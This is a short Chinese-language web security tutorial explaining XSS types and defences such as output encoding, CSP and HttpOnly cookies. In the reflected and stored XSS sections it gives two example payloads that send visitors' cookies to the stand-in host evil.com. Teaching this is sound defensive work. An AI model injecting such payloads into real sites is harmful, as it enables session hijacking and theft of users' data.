什麼是 XSS 攻擊？如何防範？

什麼是 XSS？

XSS（Cross-Site Scripting，跨站腳本攻擊） 是指攻擊者將惡意的 JavaScript 程式碼注入到網頁中，當其他使用者瀏覽該網頁時，惡意腳本就會在他們的瀏覽器中執行，竊取 Cookie、Session、個人資訊，或進行其他惡意操作。

三種 XSS 類型

1. 反射型 XSS（Reflected XSS）

惡意腳本包含在 URL 中，伺服器將其反射回 HTML，使用者點擊惡意連結時觸發。

攻擊網址範例：
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

2. 儲存型 XSS（Stored XSS）

惡意腳本被儲存到資料庫（如留言板、文章內容），每次載入頁面時自動執行，危害最大。

<!-- 攻擊者在留言板輸入 -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

3. DOM 型 XSS（DOM-based XSS）

惡意腳本透過修改 DOM 觸發，不經過伺服器，難以被後端過濾偵測。

防範方式

1. 輸出時做 HTML Encoding（最重要）

將特殊字元轉義，避免被瀏覽器解析為 HTML：

原始字元	轉義後
<	&lt;
>	&gt;
"	&quot;
'	&#x27;

2. 使用 CSP（Content Security Policy）

在 HTTP Header 設定允許載入的腳本來源：

Content-Security-Policy: default-src 'self'; script-src 'self'

3. HttpOnly Cookie

設定 Cookie 為 HttpOnly，JavaScript 無法存取，即使 XSS 成功也無法竊取 Cookie：

Set-Cookie: session=abc123; HttpOnly; Secure

4. 避免使用危險的 DOM API

// ❌ 危險
element.innerHTML = userInput

// ✅ 安全
element.textContent = userInput

5. 使用框架的內建防護

Vue、React 預設對模板內容做 HTML 轉義，避免直接使用 v-html 或 dangerouslySetInnerHTML。